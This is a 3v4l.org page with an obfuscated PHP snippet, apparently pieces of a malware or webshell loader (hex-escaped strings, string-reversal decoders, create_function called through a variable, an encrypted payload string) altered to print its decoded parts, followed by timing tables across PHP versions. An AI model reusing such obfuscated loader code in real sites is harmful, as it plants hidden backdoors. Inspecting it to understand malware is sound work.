3v4l.org

run code in 300+ PHP versions simultaneously
<?php function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } print($b."//"); } function cqq($qw) { return random($domarr,$qw); } function oo1($y) { $y = strrev($y); $g = substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } print($g."//"); } $s1v("", $siv("\71"," ",$slv($svv))); /* function random($arr,$qw) { $g=" w-86794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-873,g= w. r; m-8". */ function random($arr,$qw) { $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b"; //$soy = "en2"; $soy = "\x65\156\x32"; $xx="explode"; $ecx="create_function"; $scy="str_replace"; $a = $xx("|","\x|1|="|";$|$"); //$a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44"); $aa = $xx("|","8|9|-|,| "); $mec=$ecx; for($i=0;$i<sizeof($a);$i++) { $g = $scy($aa[$i],$a[$i],$g); } print($g."//"); print($soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } $r9 = explode("|",$n9); echo "r9 printr:"; print_r($r9);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.4.00.0090.00914.95
7.3.120.0040.01114.83
7.3.110.0110.00714.95
7.3.100.0040.01214.77
7.3.90.0110.00414.90
7.3.80.0070.01014.86
7.3.70.0090.00914.68
7.3.60.0060.00914.87
7.3.50.0070.01014.67
7.3.40.0040.01214.68
7.3.30.0030.01314.63
7.3.20.0150.00316.40
7.3.10.0080.00816.59
7.3.00.0070.00716.59
7.2.250.0100.01014.59
7.2.240.0100.01015.13
7.2.230.0040.00814.91
7.2.220.0040.01114.84
7.2.210.0110.00414.92
7.2.200.0030.01614.99
7.2.190.0030.01314.91
7.2.180.0040.01214.73
7.2.170.0030.01314.62
7.2.00.0070.00719.40
7.1.330.0080.00615.71
7.1.320.0040.01115.50
7.1.310.0070.00715.67
7.1.300.0040.01115.61
7.1.290.0000.01115.72
7.1.280.0030.00815.38
7.1.270.0030.01015.69
7.1.260.0030.00715.52
7.1.70.0030.00716.98
7.1.60.0140.01119.17
7.1.50.0040.00716.69
7.1.00.0070.03722.35
7.0.200.0040.00416.78
7.0.140.0000.07321.95
7.0.60.0000.04320.05
7.0.50.0070.08017.91
7.0.40.0130.03320.27
7.0.30.0070.04320.10
7.0.20.0370.05320.12
7.0.10.0100.08320.33
7.0.00.0070.04020.10
5.6.280.0030.07320.87
5.6.210.0030.08020.71
5.6.200.0000.04718.16
5.6.190.0170.04320.67
5.6.180.0330.07320.63
5.6.170.0300.07020.47
5.6.160.0030.08020.54
5.6.150.0100.07018.14
5.6.140.0170.07018.15
5.6.130.0070.08018.19
5.6.120.0030.04321.01
5.6.110.0030.05321.00
5.6.100.0070.07021.00
5.6.90.0100.08720.98
5.6.80.0000.08020.52
5.5.350.3200.03320.43
5.5.340.0030.04017.93
5.5.330.0070.06720.47
5.5.320.0670.07020.51
5.5.310.0570.06020.27
5.5.300.0030.05717.96
5.5.290.0000.04717.95
5.5.280.0000.09020.66
5.5.270.0070.05720.97
5.5.260.0030.04020.89
5.5.250.0070.07020.51
5.5.240.0230.07320.27
5.4.450.0170.08019.31
5.4.440.0300.07319.51
5.4.430.0170.04719.56
5.4.420.0100.04319.54
5.4.410.0130.04019.18
5.4.400.0230.07019.31
5.4.390.0100.05718.84
5.4.380.0170.04319.14
5.4.370.0200.07319.20
5.4.360.0170.05719.23
5.4.350.0270.03019.09
5.4.340.0170.03719.12
5.4.320.0200.05319.14
5.4.310.0170.04018.84
5.4.300.0200.03719.22
5.4.290.0270.04018.99
5.4.280.0330.06319.23
5.4.270.0370.06719.12
5.4.260.0300.05319.23
5.4.250.0230.07319.08
5.4.240.0330.03719.20
5.4.230.0130.04018.97
5.4.220.0130.05719.20
5.4.210.0200.03719.18
5.4.200.0200.03719.19
5.4.190.0100.04319.23
5.4.180.0270.04018.86
5.4.170.0070.04718.96
5.4.160.0330.04019.21
5.4.150.0230.03318.96
5.4.140.0200.03316.41
5.4.130.0300.03316.54
5.4.120.0130.06316.54
5.4.110.0270.04716.50
5.4.100.0300.03316.50
5.4.90.0170.04316.30
5.4.80.0170.07016.59
5.4.70.0300.04016.39
5.4.60.0330.05316.52
5.4.50.0130.05716.54
5.4.40.0200.07016.43
5.4.30.0300.06316.42
5.4.20.0330.03716.43
5.4.10.0200.07316.37
5.4.00.0270.03015.95
5.3.290.0170.06014.70
5.3.280.0170.04014.60
5.3.270.0200.04014.52
5.3.260.0170.06714.77
5.3.250.0230.06714.70
5.3.240.0230.07014.74
5.3.230.0230.07014.60
5.3.220.0300.04314.60
5.3.210.0200.04714.66
5.3.200.0170.06014.63
5.3.190.0230.05014.51
5.3.180.0230.06314.63
5.3.170.0330.04714.66
5.3.160.0230.06714.66
5.3.150.0230.05714.57
5.3.140.0300.06714.50
5.3.130.0200.07714.64
5.3.120.0230.07314.70
5.3.110.0230.07014.61
5.3.100.0200.06714.05
5.3.90.0230.06013.96
5.3.80.0230.05713.94
5.3.70.0130.04014.08
5.3.60.0100.04313.93
5.3.50.0170.07714.04
5.3.40.0270.05714.04
5.3.30.0230.06713.83
5.3.20.0270.05313.69
5.3.10.0200.07713.63
5.3.00.0300.06713.66
5.2.170.0200.05012.37
5.2.160.0200.05312.37
5.2.150.0200.03312.37
5.2.140.0130.05012.37
5.2.130.0170.03012.37
5.2.120.0170.03712.37
5.2.110.0200.04012.37
5.2.100.0130.03712.37
5.2.90.0200.06012.37
5.2.80.0200.03012.37
5.2.70.0270.05012.37
5.2.60.0130.03012.37
5.2.50.0170.03012.37
5.2.40.0200.05312.37
5.2.30.0130.05012.37
5.2.20.0170.03312.37
5.2.10.0200.05012.37
5.2.00.0130.04012.37
5.1.60.0200.02312.37
5.1.50.0170.05712.37
5.1.40.0130.02712.37
5.1.30.0230.05312.37
5.1.20.0200.03712.37
5.1.10.0130.05712.37
5.1.00.0170.04312.37
5.0.50.0170.03712.37
5.0.40.0000.03312.37
5.0.30.0100.06012.37
5.0.20.0070.03312.37
5.0.10.0130.04012.37
5.0.00.0100.04012.37
4.4.90.0100.03012.37
4.4.80.0100.03312.37
4.4.70.0130.02012.37
4.4.60.0070.02312.37
4.4.50.0100.03312.37
4.4.40.0100.02312.37
4.4.30.0030.01712.37
4.4.20.0000.02312.37
4.4.10.0170.02312.37
4.4.00.0070.02312.37
4.3.110.0070.03712.37
4.3.100.0100.03312.37
4.3.90.0100.03312.37
4.3.80.0100.02312.37
4.3.70.0100.02712.37
4.3.60.0130.01012.37
4.3.50.0100.03012.37
4.3.40.0100.04312.37
4.3.30.0030.02012.37
4.3.20.0100.02712.37
4.3.10.0030.02012.37
4.3.00.0000.02312.37

preferences:
44.34 ms | 401 KiB | 5 Q